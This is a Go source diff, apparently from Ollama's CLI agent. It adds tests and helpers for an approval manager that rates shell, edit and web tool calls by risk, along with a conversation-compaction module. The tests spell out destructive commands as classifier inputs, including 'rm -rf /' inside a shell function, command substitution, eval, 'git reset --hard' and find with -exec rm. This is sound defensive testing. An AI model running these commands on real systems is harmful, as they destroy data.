||||
return "could not resolve path"
|
||||
}
|
||||
if rel == ".." || strings.HasPrefix(rel, ".."+string(os.PathSeparator)) {
|
||||
return "path escapes working directory"
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func canonicalApprovalPath(path string) (string, error) {
|
||||
abs, err := filepath.Abs(path)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
resolved, err := filepath.EvalSymlinks(abs)
|
||||
if err == nil {
|
||||
return resolved, nil
|
||||
}
|
||||
return abs, nil
|
||||
}
|
||||
|
||||
func stringApprovalArg(args map[string]any, key string) (string, bool) {
|
||||
value, ok := args[key].(string)
|
||||
return value, ok && strings.TrimSpace(value) != ""
|
||||
}
|
||||
|
||||
func stableApprovalArgs(args map[string]any) string {
|
||||
if len(args) == 0 {
|
||||
return ""
|
||||
}
|
||||
keys := make([]string, 0, len(args))
|
||||
for key := range args {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
slices.Sort(keys)
|
||||
var b bytes.Buffer
|
||||
for _, key := range keys {
|
||||
if b.Len() > 0 {
|
||||
b.WriteByte(',')
|
||||
}
|
||||
fmt.Fprintf(&b, "%s=%v", key, args[key])
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
@@ -0,0 +1,384 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
type recordingApprovalPrompter struct {
|
||||
requests []ApprovalRequest
|
||||
results []ApprovalResult
|
||||
}
|
||||
|
||||
type allowWithoutPromptPolicy struct{}
|
||||
|
||||
type approvalRequiredTestTool struct{}
|
||||
|
||||
func (p *recordingApprovalPrompter) PromptApproval(_ context.Context, request ApprovalRequest) (ApprovalResult, error) {
|
||||
p.requests = append(p.requests, request)
|
||||
if len(p.results) == 0 {
|
||||
return ApprovalResult{Decision: ApprovalAllowOnce}, nil
|
||||
}
|
||||
result := p.results[0]
|
||||
p.results = p.results[1:]
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (allowWithoutPromptPolicy) EvaluateApproval(context.Context, ApprovalRequest) ApprovalEvaluation {
|
||||
return ApprovalEvaluation{Decision: ApprovalAllowOnce, Risk: ApprovalRiskLow}
|
||||
}
|
||||
|
||||
func (approvalRequiredTestTool) Name() string {
|
||||
return "approval_required"
|
||||
}
|
||||
|
||||
func (approvalRequiredTestTool) Description() string {
|
||||
return "requires approval"
|
||||
}
|
||||
|
||||
func (approvalRequiredTestTool) Schema() api.ToolFunction {
|
||||
return api.ToolFunction{Name: "approval_required"}
|
||||
}
|
||||
|
||||
func (approvalRequiredTestTool) Execute(context.Context, ToolContext, map[string]any) (ToolResult, error) {
|
||||
return ToolResult{Content: "ok"}, nil
|
||||
}
|
||||
|
||||
func (approvalRequiredTestTool) RequiresApproval(map[string]any) bool {
|
||||
return true
|
||||
}
|
||||
|
||||
func TestApprovalManagerAllowsSafeToolsWithoutPrompt(t *testing.T) {
|
||||
prompter := &recordingApprovalPrompter{}
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
|
||||
|
||||
result, err := manager.Approve(context.Background(), ApprovalRequest{
|
||||
ToolName: "read",
|
||||
Args: map[string]any{"path": "README.md"},
|
||||
WorkingDir: t.TempDir(),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
if len(prompter.requests) != 0 {
|
||||
t.Fatalf("safe tool prompted: %#v", prompter.requests)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerToolRequiredOverridePromptsInApprove(t *testing.T) {
|
||||
prompter := &recordingApprovalPrompter{}
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{Policy: allowWithoutPromptPolicy{}, Prompter: prompter})
|
||||
tool := approvalRequiredTestTool{}
|
||||
request := ApprovalRequest{
|
||||
ToolName: tool.Name(),
|
||||
Args: map[string]any{},
|
||||
ToolApprovalRequired: ToolRequiresApproval(tool, nil),
|
||||
}
|
||||
|
||||
if !manager.RequiresApproval(context.Background(), tool, request) {
|
||||
t.Fatal("tool-required approval should require a prompt")
|
||||
}
|
||||
result, err := manager.Approve(context.Background(), request)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
if len(prompter.requests) != 1 {
|
||||
t.Fatalf("prompts = %d, want 1", len(prompter.requests))
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerDeniesEscapingPath(t *testing.T) {
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{})
|
||||
|
||||
result, err := manager.Approve(context.Background(), ApprovalRequest{
|
||||
ToolName: "edit",
|
||||
Args: map[string]any{"path": "../outside.txt"},
|
||||
WorkingDir: t.TempDir(),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalDeny {
|
||||
t.Fatalf("decision = %q, want deny", result.Decision)
|
||||
}
|
||||
if !strings.Contains(result.Reason, "path escapes working directory") {
|
||||
t.Fatalf("reason = %q", result.Reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerSanitizesEditSummary(t *testing.T) {
|
||||
evaluation := evaluateEditApproval(ApprovalRequest{
|
||||
ToolName: "edit",
|
||||
Args: map[string]any{"path": "notes/\x1b[31mred\nfile.txt"},
|
||||
WorkingDir: t.TempDir(),
|
||||
})
|
||||
if strings.ContainsAny(evaluation.Summary, "\n\r\x1b") {
|
||||
t.Fatalf("summary contains control characters: %q", evaluation.Summary)
|
||||
}
|
||||
if !strings.Contains(evaluation.Summary, "notes/red file.txt") {
|
||||
t.Fatalf("summary = %q, want sanitized path", evaluation.Summary)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerPromptsForEdit(t *testing.T) {
|
||||
prompter := &recordingApprovalPrompter{}
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
|
||||
|
||||
result, err := manager.Approve(context.Background(), ApprovalRequest{
|
||||
ToolName: "edit",
|
||||
Args: map[string]any{"path": "note.txt", "old_text": "old", "new_text": "new"},
|
||||
WorkingDir: t.TempDir(),
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
if len(prompter.requests) != 1 {
|
||||
t.Fatalf("prompts = %d, want 1", len(prompter.requests))
|
||||
}
|
||||
request := prompter.requests[0]
|
||||
if request.Risk != ApprovalRiskMedium {
|
||||
t.Fatalf("risk = %q, want medium", request.Risk)
|
||||
}
|
||||
if !strings.Contains(strings.Join(request.Reasons, " "), "writes to a file") {
|
||||
t.Fatalf("reasons = %#v", request.Reasons)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerHeadlessDeniesPromptRequiredTools(t *testing.T) {
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{})
|
||||
|
||||
result, err := manager.Approve(context.Background(), ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "pwd"},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalDeny {
|
||||
t.Fatalf("decision = %q, want deny", result.Decision)
|
||||
}
|
||||
if !strings.Contains(result.Reason, "--auto-approve-tools") {
|
||||
t.Fatalf("reason = %q", result.Reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApprovalManagerSessionAllowList(t *testing.T) {
|
||||
prompter := &recordingApprovalPrompter{
|
||||
results: []ApprovalResult{{Decision: ApprovalAllowSession}},
|
||||
}
|
||||
manager := NewApprovalManager(ApprovalManagerOptions{Prompter: prompter})
|
||||
request := ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "go test ./agent"},
|
||||
}
|
||||
|
||||
result, err := manager.Approve(context.Background(), request)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalAllowSession {
|
||||
t.Fatalf("decision = %q, want allow_session", result.Decision)
|
||||
}
|
||||
result, err = manager.Approve(context.Background(), request)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if result.Decision != ApprovalAllowOnce {
|
||||
t.Fatalf("second decision = %q, want allow_once", result.Decision)
|
||||
}
|
||||
if len(prompter.requests) != 1 {
|
||||
t.Fatalf("prompts = %d, want 1", len(prompter.requests))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashApprovalClassifiesHighRiskShell(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": "cd / && rm -rf tmp"},
|
||||
})
|
||||
|
||||
if !evaluation.RequirePrompt {
|
||||
t.Fatal("bash should require prompt")
|
||||
}
|
||||
if evaluation.Risk != ApprovalRiskHigh {
|
||||
t.Fatalf("risk = %q, want high", evaluation.Risk)
|
||||
}
|
||||
reasons := strings.Join(evaluation.Reasons, " ")
|
||||
for _, want := range []string{"changes directory", "control operator", "removes files"} {
|
||||
if !strings.Contains(reasons, want) {
|
||||
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, want)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPowerShellApprovalUsesShellPolicy(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: "powershell",
|
||||
Args: map[string]any{"command": "Remove-Item -Recurse tmp"},
|
||||
})
|
||||
|
||||
if !evaluation.RequirePrompt {
|
||||
t.Fatal("powershell should require prompt")
|
||||
}
|
||||
if evaluation.Summary != "PowerShell wants to run a command" {
|
||||
t.Fatalf("summary = %q", evaluation.Summary)
|
||||
}
|
||||
if evaluation.SessionKey != "powershell:Remove-Item -Recurse tmp" {
|
||||
t.Fatalf("session key = %q", evaluation.SessionKey)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashApprovalClassifiesDynamicShellEvasions(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
cmd string
|
||||
reason string
|
||||
}{
|
||||
{name: "function declaration", cmd: "f() { rm -rf /; } && f", reason: "defines shell functions"},
|
||||
{name: "eval", cmd: `eval "$cmd"`, reason: "evaluates shell code"},
|
||||
{name: "variable command name", cmd: "$DANGER --flag", reason: "dynamic command name"},
|
||||
{name: "command substitution command name", cmd: "$(echo rm) -rf /", reason: "dynamic command name"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": tt.cmd},
|
||||
})
|
||||
if !evaluation.RequirePrompt {
|
||||
t.Fatal("bash evasion should require prompt")
|
||||
}
|
||||
if evaluation.Risk != ApprovalRiskHigh {
|
||||
t.Fatalf("risk = %q, want high", evaluation.Risk)
|
||||
}
|
||||
if reasons := strings.Join(evaluation.Reasons, " "); !strings.Contains(reasons, tt.reason) {
|
||||
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, tt.reason)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashApprovalClassifiesDestructiveGitWithGlobalOptions(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
cmd string
|
||||
reason string
|
||||
}{
|
||||
{name: "git reset hard after cwd", cmd: "git -C /tmp reset --hard", reason: "runs destructive git reset"},
|
||||
{name: "git reset hard after config", cmd: "git -c core.autocrlf=false reset --hard", reason: "runs destructive git reset"},
|
||||
{name: "git clean after work tree", cmd: "git --work-tree=/tmp clean -fdx", reason: "runs destructive git clean"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": tt.cmd},
|
||||
})
|
||||
if evaluation.Risk != ApprovalRiskHigh {
|
||||
t.Fatalf("risk = %q, want high", evaluation.Risk)
|
||||
}
|
||||
if reasons := strings.Join(evaluation.Reasons, " "); !strings.Contains(reasons, tt.reason) {
|
||||
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, tt.reason)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashApprovalClassifiesFindMutations(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
cmd string
|
||||
reason string
|
||||
}{
|
||||
{name: "delete", cmd: "find . -name '*.tmp' -delete", reason: "deletes files via find"},
|
||||
{name: "exec", cmd: `find . -name '*.tmp' -exec rm -rf {} \;`, reason: "executes commands via find"},
|
||||
{name: "exec nested destructive command", cmd: `find . -name '*.tmp' -exec rm -rf {} \;`, reason: "removes files destructively"},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: "bash",
|
||||
Args: map[string]any{"command": tt.cmd},
|
||||
})
|
||||
if evaluation.Risk != ApprovalRiskHigh {
|
||||
t.Fatalf("risk = %q, want high", evaluation.Risk)
|
||||
}
|
||||
if reasons := strings.Join(evaluation.Reasons, " "); !strings.Contains(reasons, tt.reason) {
|
||||
t.Fatalf("reasons = %#v, want %q", evaluation.Reasons, tt.reason)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebApprovalRequiresPrompt(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
tool string
|
||||
args map[string]any
|
||||
summary string
|
||||
}{
|
||||
{
|
||||
name: "search",
|
||||
tool: "web_search",
|
||||
args: map[string]any{"query": "Ollama agents"},
|
||||
summary: "Web Search wants to search for \"Ollama agents\"",
|
||||
},
|
||||
{
|
||||
name: "fetch",
|
||||
tool: "web_fetch",
|
||||
args: map[string]any{"url": "https://ollama.com"},
|
||||
summary: "Web Fetch wants to fetch https://ollama.com",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: tt.tool,
|
||||
Args: tt.args,
|
||||
})
|
||||
if !evaluation.RequirePrompt {
|
||||
t.Fatal("web tool should require prompt")
|
||||
}
|
||||
if evaluation.Decision != "" && evaluation.Decision != ApprovalAllowOnce {
|
||||
t.Fatalf("decision = %q, want allow once", evaluation.Decision)
|
||||
}
|
||||
if evaluation.Risk != ApprovalRiskMedium {
|
||||
t.Fatalf("risk = %q, want medium", evaluation.Risk)
|
||||
}
|
||||
if evaluation.Summary != tt.summary {
|
||||
t.Fatalf("summary = %q, want %q", evaluation.Summary, tt.summary)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebApprovalDeniesMissingArgs(t *testing.T) {
|
||||
for _, tool := range []string{"web_search", "web_fetch"} {
|
||||
evaluation := DefaultApprovalPolicy{}.EvaluateApproval(context.Background(), ApprovalRequest{
|
||||
ToolName: tool,
|
||||
Args: map[string]any{},
|
||||
})
|
||||
if evaluation.Decision != ApprovalDeny {
|
||||
t.Fatalf("%s missing args decision = %q, want deny", tool, evaluation.Decision)
|
||||
}
|
||||
if evaluation.Risk != ApprovalRiskHigh {
|
||||
t.Fatalf("%s missing args risk = %q, want high", tool, evaluation.Risk)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,636 @@
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
// Compaction wire-format. These constants and helpers are the single canonical
|
||||
// definition of how a compacted turn is represented in message history; both
|
||||
// the in-memory compactor (this package) and the on-disk chat store
|
||||
// (package store) build and detect summaries through them.
|
||||
const (
|
||||
CompactionSummaryMessagePrefix = "Conversation summary:\n"
|
||||
CompactionToolName = "summary"
|
||||
CompactionToolCallID = "ollama_compaction"
|
||||
CompactionContinueInstruction = "continue the task in progress. the history has been compacted, do not mention compaction to the user"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultCompactionContextWindowTokens = 32768
|
||||
defaultCompactionKeepUserTurns = 3
|
||||
defaultCompactionThreshold = 0.8
|
||||
compactOnlySummaryContextTokens = 16000
|
||||
|
||||
maxCompactionSummaryBytes = 16 * 1024
|
||||
compactionSummaryTruncated = "\n\n[summary truncated]"
|
||||
|
||||
compactionSystemPrompt = "Summarize the archived part of an Ollama CLI agent conversation. Preserve user goals, decisions, files, commands, tool results, and unresolved tasks needed to continue. Omit private reasoning and return only the summary."
|
||||
)
|
||||
|
||||
type Compactor interface {
|
||||
MaybeCompact(context.Context, CompactionRequest) (CompactionResult, error)
|
||||
}
|
||||
|
||||
type CompactionStore interface {
|
||||
ArchiveForCompaction(context.Context, string, int, string, bool) error
|
||||
}
|
||||
|
||||
type CompactionOptions struct {
|
||||
ContextWindowTokens int
|
||||
KeepUserTurns int
|
||||
Threshold float64
|
||||
}
|
||||
|
||||
type CompactionRequest struct {
|
||||
ChatID string
|
||||
Model string
|
||||
SystemPrompt string
|
||||
Messages []api.Message
|
||||
Tools api.Tools
|
||||
Format string
|
||||
Latest api.ChatResponse
|
||||
Options map[string]any
|
||||
KeepAlive *api.Duration
|
||||
Think *api.ThinkValue
|
||||
Force bool
|
||||
ContinueTask bool
|
||||
KeepUserTurns *int
|
||||
Progress func(CompactionProgress)
|
||||
}
|
||||
|
||||
type CompactionProgress struct {
|
||||
Tokens int
|
||||
}
|
||||
|
||||
type CompactionResult struct {
|
||||
Messages []api.Message
|
||||
Compacted bool
|
||||
Due bool
|
||||
Summary string
|
||||
Reason string
|
||||
}
|
||||
|
||||
type SimpleCompactor struct {
|
||||
Client ChatClient
|
||||
Store CompactionStore
|
||||
Options CompactionOptions
|
||||
}
|
||||
|
||||
func NewSimpleCompactor(client ChatClient, store CompactionStore, opts CompactionOptions) *SimpleCompactor {
|
||||
return &SimpleCompactor{Client: client, Store: store, Options: opts}
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) MaybeCompact(ctx context.Context, req CompactionRequest) (CompactionResult, error) {
|
||||
result := CompactionResult{Messages: req.Messages}
|
||||
if c == nil {
|
||||
return result, nil
|
||||
}
|
||||
|
||||
result.Due = req.Force || c.shouldCompact(req)
|
||||
if !result.Due {
|
||||
return result, nil
|
||||
}
|
||||
if c.Client == nil {
|
||||
result.Reason = "compaction is unavailable"
|
||||
return result, nil
|
||||
}
|
||||
|
||||
keepUserTurns := c.keepUserTurns(req.Options)
|
||||
if req.KeepUserTurns != nil {
|
||||
keepUserTurns = *req.KeepUserTurns
|
||||
}
|
||||
prefix, previousSummary, archive, suffix, keptUserTurns, ok := splitCompactionMessages(req.Messages, keepUserTurns)
|
||||
if !ok || len(archive) == 0 {
|
||||
result.Reason = "nothing to compact"
|
||||
return result, nil
|
||||
}
|
||||
|
||||
summary, err := c.summarize(ctx, req, previousSummary, archive)
|
||||
if err != nil {
|
||||
result.Reason = err.Error()
|
||||
return result, err
|
||||
}
|
||||
summary = truncateCompactionSummary(strings.TrimSpace(summary))
|
||||
if summary == "" {
|
||||
summary, err = c.summarizeEmptyFallback(ctx, req, previousSummary, archive)
|
||||
if err != nil {
|
||||
result.Reason = err.Error()
|
||||
return result, err
|
||||
}
|
||||
summary = truncateCompactionSummary(strings.TrimSpace(summary))
|
||||
}
|
||||
if summary == "" {
|
||||
// TODO(parthsareen): Investigate models that stream compaction output
|
||||
// without final content, such as thinking-only summaries.
|
||||
result.Reason = "summary was empty"
|
||||
return result, nil
|
||||
}
|
||||
|
||||
if c.Store != nil && req.ChatID != "" {
|
||||
if err := c.Store.ArchiveForCompaction(ctx, req.ChatID, keptUserTurns, summary, req.ContinueTask); err != nil {
|
||||
result.Reason = err.Error()
|
||||
return result, err
|
||||
}
|
||||
}
|
||||
|
||||
compacted := make([]api.Message, 0, len(prefix)+len(suffix)+2)
|
||||
compacted = append(compacted, prefix...)
|
||||
compacted = append(compacted, CompactionSummaryMessages(summary, req.ContinueTask)...)
|
||||
compacted = append(compacted, suffix...)
|
||||
result.Messages = compacted
|
||||
result.Compacted = true
|
||||
result.Summary = summary
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) shouldCompact(req CompactionRequest) bool {
|
||||
contextWindow := c.contextWindowTokens(req.Options)
|
||||
threshold := int(float64(contextWindow) * c.threshold())
|
||||
if threshold <= 0 {
|
||||
return false
|
||||
}
|
||||
if req.Latest.PromptEvalCount > 0 && req.Latest.PromptEvalCount >= threshold {
|
||||
return true
|
||||
}
|
||||
// TODO(parthsareen): If the newest kept user turn contains the oversized
|
||||
// tool output, compaction can remove older history but still leave the next
|
||||
// prompt above the safety threshold. Pair this estimate trigger with
|
||||
// context-aware tool-output paging/range reads so the kept suffix can shrink.
|
||||
return estimateCompactionRequestTokens(req) >= threshold
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) contextWindowTokens(options map[string]any) int {
|
||||
return ResolveContextWindowTokens(options, c.Options.ContextWindowTokens)
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) keepUserTurns(options map[string]any) int {
|
||||
contextWindow := c.contextWindowTokens(options)
|
||||
if contextWindow > 0 && contextWindow < compactOnlySummaryContextTokens {
|
||||
return 0
|
||||
}
|
||||
if c.Options.KeepUserTurns > 0 {
|
||||
return c.Options.KeepUserTurns
|
||||
}
|
||||
return defaultCompactionKeepUserTurns
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) threshold() float64 {
|
||||
return ResolveCompactionThreshold(c.Options.Threshold)
|
||||
}
|
||||
|
||||
func ResolveContextWindowTokens(options map[string]any, configured int) int {
|
||||
if n := intOption(options, "num_ctx"); n > 0 {
|
||||
return n
|
||||
}
|
||||
if configured > 0 {
|
||||
return configured
|
||||
}
|
||||
return defaultCompactionContextWindowTokens
|
||||
}
|
||||
|
||||
func ResolveCompactionThreshold(configured float64) float64 {
|
||||
if configured > 0 {
|
||||
return configured
|
||||
}
|
||||
return defaultCompactionThreshold
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) summarize(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
|
||||
body, err := compactionPrompt(previousSummary, archive, c.compactionPromptBodyBudgetTokens(req.Options))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
chatReq := &api.ChatRequest{
|
||||
Model: req.Model,
|
||||
Messages: []api.Message{
|
||||
{
|
||||
Role: "system",
|
||||
Content: compactionSystemPrompt,
|
||||
},
|
||||
{
|
||||
Role: "user",
|
||||
Content: body,
|
||||
},
|
||||
},
|
||||
Options: req.Options,
|
||||
Think: req.Think,
|
||||
}
|
||||
if req.KeepAlive != nil {
|
||||
chatReq.KeepAlive = req.KeepAlive
|
||||
}
|
||||
|
||||
var summary strings.Builder
|
||||
if err := c.Client.Chat(ctx, chatReq, func(response api.ChatResponse) error {
|
||||
summary.WriteString(response.Message.Content)
|
||||
if req.Progress != nil {
|
||||
tokens := response.EvalCount
|
||||
if tokens <= 0 {
|
||||
tokens = estimateCompactionTokens(summary.String())
|
||||
}
|
||||
req.Progress(CompactionProgress{Tokens: tokens})
|
||||
}
|
||||
return nil
|
||||
}); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return summary.String(), nil
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) summarizeEmptyFallback(ctx context.Context, req CompactionRequest, previousSummary string, archive []api.Message) (string, error) {
|
||||
retry := req
|
||||
retry.Think = &api.ThinkValue{Value: false}
|
||||
summary, err := c.summarize(ctx, retry, previousSummary, archive)
|
||||
if err == nil {
|
||||
return summary, nil
|
||||
}
|
||||
if !isUnsupportedCompactionThinkError(err) {
|
||||
return "", err
|
||||
}
|
||||
if req.Think == nil {
|
||||
return "", nil
|
||||
}
|
||||
retry.Think = nil
|
||||
return c.summarize(ctx, retry, previousSummary, archive)
|
||||
}
|
||||
|
||||
func isUnsupportedCompactionThinkError(err error) bool {
|
||||
if err == nil {
|
||||
return false
|
||||
}
|
||||
text := strings.ToLower(err.Error())
|
||||
if !strings.Contains(text, "think") {
|
||||
return false
|
||||
}
|
||||
var statusErr api.StatusError
|
||||
if errors.As(err, &statusErr) && statusErr.StatusCode != 0 {
|
||||
return statusErr.StatusCode == http.StatusBadRequest
|
||||
}
|
||||
return strings.Contains(text, "does not support") || strings.Contains(text, "not supported") || strings.Contains(text, "unsupported")
|
||||
}
|
||||
|
||||
// compactionSummaryMessageForTask renders a compaction summary as the content
|
||||
// string stored on the synthetic tool-result message.
|
||||
func compactionSummaryMessageForTask(summary string, continueTask bool) string {
|
||||
content := CompactionSummaryMessagePrefix + strings.TrimSpace(summary)
|
||||
if continueTask {
|
||||
content = strings.TrimSpace(content) + "\n\n" + CompactionContinueInstruction
|
||||
}
|
||||
return content
|
||||
}
|
||||
|
||||
// CompactionSummaryMessages renders a compaction summary as the assistant
|
||||
// tool-call plus tool-result pair that represents a compacted turn in the
|
||||
// message history. This is the canonical builder used by both the compactor
|
||||
// and the chat store.
|
||||
func CompactionSummaryMessages(summary string, continueTask bool) []api.Message {
|
||||
return []api.Message{
|
||||
{
|
||||
Role: "assistant",
|
||||
ToolCalls: []api.ToolCall{{
|
||||
ID: CompactionToolCallID,
|
||||
Function: api.ToolCallFunction{
|
||||
Name: CompactionToolName,
|
||||
},
|
||||
}},
|
||||
},
|
||||
{
|
||||
Role: "tool",
|
||||
ToolName: CompactionToolName,
|
||||
ToolCallID: CompactionToolCallID,
|
||||
Content: compactionSummaryMessageForTask(summary, continueTask),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func (c *SimpleCompactor) compactionPromptBodyBudgetTokens(options map[string]any) int {
|
||||
contextWindow := c.contextWindowTokens(options)
|
||||
threshold := int(float64(contextWindow) * c.threshold())
|
||||
if threshold <= 0 {
|
||||
return 0
|
||||
}
|
||||
systemTokens := estimateCompactionTokens("system") + estimateCompactionTokens(compactionSystemPrompt)
|
||||
userRoleTokens := estimateCompactionTokens("user")
|
||||
budget := threshold - systemTokens - userRoleTokens
|
||||
if budget <= 0 {
|
||||
return 0
|
||||
}
|
||||
return budget
|
||||
}
|
||||
|
||||
func truncateCompactionSummary(summary string) string {
|
||||
if len(summary) <= maxCompactionSummaryBytes {
|
||||
return summary
|
||||
}
|
||||
limit := maxCompactionSummaryBytes - len(compactionSummaryTruncated)
|
||||
if limit < 0 {
|
||||
limit = 0
|
||||
}
|
||||
var b strings.Builder
|
||||
for _, r := range summary {
|
||||
if b.Len()+len(string(r)) > limit {
|
||||
break
|
||||
}
|
||||
b.WriteRune(r)
|
||||
}
|
||||
return strings.TrimSpace(b.String()) + compactionSummaryTruncated
|
||||
}
|
||||
|
||||
func estimateCompactionTokens(text string) int {
|
||||
text = strings.TrimSpace(text)
|
||||
if text == "" {
|
||||
return 0
|
||||
}
|
||||
return max(1, (len([]rune(text))+3)/4)
|
||||
}
|
||||
|
||||
// EstimateTokens returns the agent's lightweight token estimate for UI hints.
|
||||
func EstimateTokens(text string) int {
|
||||
return estimateCompactionTokens(text)
|
||||
}
|
||||
|
||||
// EstimatePromptTokens returns the agent's lightweight estimate for the prompt
|
||||
// payload sent to /api/chat.
|
||||
func EstimatePromptTokens(systemPrompt string, messages []api.Message, tools api.Tools, format string) int {
|
||||
return estimateCompactionRequestTokens(CompactionRequest{
|
||||
SystemPrompt: systemPrompt,
|
||||
Messages: messages,
|
||||
Tools: tools,
|
||||
Format: format,
|
||||
})
|
||||
}
|
||||
|
||||
func estimateMessagesTokens(messages []api.Message) int {
|
||||
var total int
|
||||
for _, msg := range messages {
|
||||
total += estimateCompactionTokens(msg.Role)
|
||||
total += estimateCompactionTokens(msg.Content)
|
||||
total += estimateCompactionTokens(msg.Thinking)
|
||||
total += estimateCompactionTokens(msg.ToolName)
|
||||
total += estimateCompactionTokens(msg.ToolCallID)
|
||||
for _, call := range msg.ToolCalls {
|
||||
total += estimateCompactionTokens(call.Function.Name)
|
||||
total += estimateCompactionTokens(call.Function.Arguments.String())
|
||||
}
|
||||
}
|
||||
return total
|
||||
}
|
||||
|
||||
func estimateCompactionRequestTokens(req CompactionRequest) int {
|
||||
requestMessages := sanitizeMessagesForEstimate(req.Messages)
|
||||
if strings.TrimSpace(req.SystemPrompt) != "" {
|
||||
requestMessages = make([]api.Message, 0, len(req.Messages)+1)
|
||||
requestMessages = append(requestMessages, api.Message{Role: "system", Content: strings.TrimSpace(req.SystemPrompt)})
|
||||
requestMessages = append(requestMessages, sanitizeMessagesForEstimate(req.Messages)...)
|
||||
}
|
||||
|
||||
payload := struct {
|
||||
Messages []api.Message `json:"messages,omitempty"`
|
||||
Tools api.Tools `json:"tools,omitempty"`
|
||||
Format json.RawMessage `json:"format,omitempty"`
|
||||
}{
|
||||
Messages: requestMessages,
|
||||
Tools: req.Tools,
|
||||
}
|
||||
if rawFormat, ok := compactionFormatForEstimate(req.Format); ok {
|
||||
payload.Format = rawFormat
|
||||
}
|
||||
if data, err := json.Marshal(payload); err == nil {
|
||||
